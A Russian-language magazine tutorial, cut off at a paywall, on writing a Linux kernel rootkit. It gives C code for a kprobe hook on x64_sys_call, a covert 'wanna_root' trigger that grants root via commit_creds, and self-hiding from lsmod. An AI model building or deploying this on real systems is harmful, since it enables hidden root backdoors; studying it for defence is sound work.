Рут­киты для Linux извес­тны уже доволь­но дав­но, они отли­чают­ся высокой изощ­ренностью архи­тек­туры, спо­соб­ны эффектив­но перех­ватывать сис­темные вызовы и мас­кировать свое при­сутс­твие в сис­теме. Сегод­ня мы попыта­емся написать собс­твен­ный Linux-рут­кит, что­бы на его при­мере изу­чить клю­чевые механиз­мы работы таких вре­донос­ных прог­рамм.

Не­дав­но я нат­кнул­ся на но­вость, опуб­ликован­ную в жур­нале «Хакер», где говори­лось, что обна­ружен новый Linux-рут­кит Pumakit. С ядром ОС Linux я никог­да ранее не стал­кивал­ся, и идея разоб­рать­ся в нем бук­валь­но пог­лотила меня. В статье я попыта­юсь опи­сать осо­бен­ности, которые мне уда­лось выявить при написа­нии собс­твен­ного рут­кита под сов­ремен­ные ядра Linux вер­сий 5.x и 6.x (x86_64).

warning

Статья име­ет озна­коми­тель­ный харак­тер и пред­назна­чена для спе­циалис­тов по безопас­ности, про­водя­щих тес­тирова­ние в рам­ках кон­трак­та. Автор и редак­ция не несут ответс­твен­ности за любой вред, при­чинен­ный с при­мене­нием изло­жен­ной информа­ции. Рас­простра­нение вре­донос­ных прог­рамм, наруше­ние работы сис­тем и наруше­ние тай­ны перепис­ки прес­леду­ются по закону.

 

Патч, мешающий жить

Ког­да я иссле­довал рут­киты для Linux, то неод­нократ­но посещал GitHub в поис­ках подоб­ных прог­рамм, что­бы при­мер­но понимать их струк­туру и фун­кци­ональ­ные воз­можнос­ти. И вот что мне бро­салось в гла­за: прак­тичес­ки во всех реали­заци­ях рут­китов исполь­зует­ся метод перех­вата syscall’ов путем переза­писи таб­лицы сис­темных вызовов sys_call_table.

Устаревший метод перехвата syscall’ов
Ус­тарев­ший метод перех­вата syscall’ов

Од­нако с недав­него вре­мени этот метод боль­ше не работа­ет, пос­коль­ку сооб­щес­тво Linux-раз­работ­чиков вы­кати­ло патч, при котором упо­мяну­тая таб­лица не исполь­зует­ся:

The sys_call_table is no longer used for system calls, but kernel/trace/trace_syscalls.c still wants to know the system call address.

 

Kprobes всему голова

Яд­ро Linux напич­кано не толь­ко вся­кими жиз­нетво­рящи­ми вещами, оно так­же име­ет в сво­ем арсе­нале механиз­мы отладки, которые под­держи­вают­ся из ядра в ядро. С вер­сии 2.6.9 в Linux kernel появил­ся kprobes. Kprobes — это средс­тво динами­чес­кой отладки ядра, поз­воля­ющее ста­вить breakpoints на дос­тупные для записи учас­тки памяти и самос­тоятель­но обра­баты­вать их.

Принцип работы kprobes
Прин­цип работы kprobes

Син­таксис механиз­ма отладки доволь­но прос­той:

// Структура kprobe описана в файле include/linux/kprobes.h
static struct kprobe un = {
// Место, куда мы будем ставить бряк (экспортированный ядром символ)
.symbol_name = "kernel_clone",
// Обработчик бряка
.pre_handler = intercept,
};
static int __init init(void) {
// Регистрируем «пробу»
register_kprobe(&un);
...
}
static void __exit bye(void) {
// Удаляем «пробу»
unregister_kprobe(&un);
...
}

Кста­ти, пос­мотреть, экспор­тирован ядром сим­вол или нет, мож­но, про­читав файл kallsyms:

cat /proc/kallsyms | grep "имя символа"
 

Перехватываем x64_sys_call

По­пуляр­ный рут­кит diamorphine для обще­ния с поль­зовате­лем исполь­зует перех­вачен­ный syscall — kill. Одна­ко для это­го он ста­вит хук на sys_call_table, что уже неак­туаль­но. Как же тог­да отсле­живать сис­темные вызовы? Ответ прост: перех­ват x64_sys_call.

Все дело в том, что x64_sys_call учас­тву­ет при вызове любого «сис­кола». Это некая обер­тка над каж­дым сис­темным вызовом, под­клю­чающая мак­росы, в качес­тве которых реали­зова­ны сис­темные вызовы.

// regs аргументы системного вызова
// nr номер системного вызова
long x64_sys_call(const struct pt_regs *regs, unsigned int nr)
{
switch (nr) {
// Здесь находятся системные вызовы в качестве макросов вида SYSCALL_DEFINEX(name, args...),
// где X количество аргументов в syscall’e
#include <asm/syscalls_64.h>
default: return __x64_sys_ni_syscall(regs);
}
};

Важ­но отме­тить, что x64_sys_call так­же экспор­тирова­на ядром.

Проверка символа x64_sys_call на экспорт
Про­вер­ка сим­вола x64_sys_call на экспорт

От­лично, теперь оста­лось исполь­зовать это для орга­низа­ции обще­ния с поль­зовате­лем. Прис­мотрим­ся к коман­де echo.

Результат трассировки команды echo
Ре­зуль­тат трас­сиров­ки коман­ды echo

Echo исполь­зует в сво­ей работе write — как раз то, что нам и нуж­но. Подыто­жив ска­зан­ное, напишем обра­бот­чик команд поль­зовате­ля:

// Идентификатор команды, которую будет отлавливать обработчик команд
#define ROOT "wanna_root"
// Наша проба
static struct kprobe un = {
.symbol_name = "x64_sys_call",
// Обработчик
.pre_handler = intercept,
};
static int intercept(struct kprobe *p, struct pt_regs *regs) {
// Проверяем номер системного вызова, передаваемый в x64_sys_call
if (regs->si == __NR_write){
// Сохраняем параметры, передаваемые вместе с write
struct pt_regs *pRegs = (struct pt_regs*)regs->di;
// Если текст, переданный в echo, совпадает с именем команды, то обрабатываем ее
if (!strncmp( (const char*)(pRegs->si) , ROOT ,10)) {
...
Функция, выполняемая при загрузке модуля
static int __init init(void) {
...
int err;
err = register_kprobe(&un);
if (err < 0) {
pr_err("Failed to register kprobe, error: %d\n", err);
return err;
}
...
}

Здесь нам не нуж­но исполь­зовать copy_from_user, пос­коль­ку информа­ция уже находит­ся в режиме ядра.

 

Повышаем привилегии и удаляем себя из списка загруженных модулей

Все сис­темные вызовы осу­щест­вля­ются в кон­тек­сте про­цес­са, то есть мы можем получить дос­туп к памяти, окру­жению про­цес­са в момент выпол­нения syscall’a. Каж­дый про­цесс оли­цет­воря­ется в ядре струк­турой struct task_struct, которая име­ет доволь­но вну­шитель­ный раз­мер. Внут­ри этой струк­туры есть поле, отве­чающее за при­виле­гии про­цес­са, к которо­му мы можем обра­тить­ся.

Поля, отвечающие за привилегии процесса
По­ля, отве­чающие за при­виле­гии про­цес­са

Пос­коль­ку мы находим­ся в режиме ядра, то осо­бых проб­лем с повыше­нием при­виле­гий не име­ем. Дос­таточ­но прос­то заменить эту струк­турку сво­ей, и вуаля!

static int root_func(void){
struct cred *newcreds;
// Инициализация структуры
newcreds = prepare_creds();
if (newcreds == NULL){
pr_alert("can't prepare creds\n");
return 1;
}
// Выдаем себе рут
newcreds->uid.val = newcreds->gid.val = 0;
// euid и egid «эффективные» привилегии, то есть привилегии запущенного процесса
newcreds->euid.val = newcreds->egid.val = 0;
newcreds->suid.val = newcreds->sgid.val = 0;
newcreds->fsuid.val = newcreds->fsgid.val = 0;
// Вносим свои изменения
commit_creds(newcreds);
return 0;
}

info

Что­бы избе­жать кон­флик­та, при раз­работ­ке ядер­ных модулей сле­дует опи­сывать все свои фун­кции и гло­баль­ные перемен­ные с прис­тавкой static. Это необ­ходимо, пос­коль­ку ядро экспор­тиру­ет все сим­волы в гло­баль­ную область видимос­ти и поль­зователь может выз­вать сво­им неак­курат­ным поведе­нием кон­фликт имен.

Что каса­ется само­уда­ления из спис­ка заг­ружен­ных модулей — дело нес­коль­ких стро­чек кода. Наш рут­кит пред­став­ляет собой kernel object file, который так­же пред­став­лен сво­ей струк­турой в памяти ядра. Мы прос­то уда­ляем себя из связ­ного спис­ка заг­ружен­ных модулей:

// Прячемся от команды lsmod команды, выводящей все загруженные в память модули
static inline void hide_func(void){
// THIS_MODULE глобальный макрос, позволяющий обратиться к структуре своего модуля
// Поле list связный список загруженных в память ядра модулей
module_previous = THIS_MODULE->list.prev;
// unlink
module_previous->next = THIS_MODULE->list.next;
hidden=1;
}
// Возвращаемся в строй
static inline void show_func(void){
// Нужно, чтобы не словить segfault
if (module_previous !=NULL && hidden==1){
module_previous->next = &THIS_MODULE->list;
hidden=0;
}
}

Продолжение доступно только участникам

Материалы из последних выпусков становятся доступны по отдельности только через два месяца после публикации. Чтобы продолжить чтение, необходимо стать участником сообщества «Xakep.ru».

Присоединяйся к сообществу «Xakep.ru»!

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии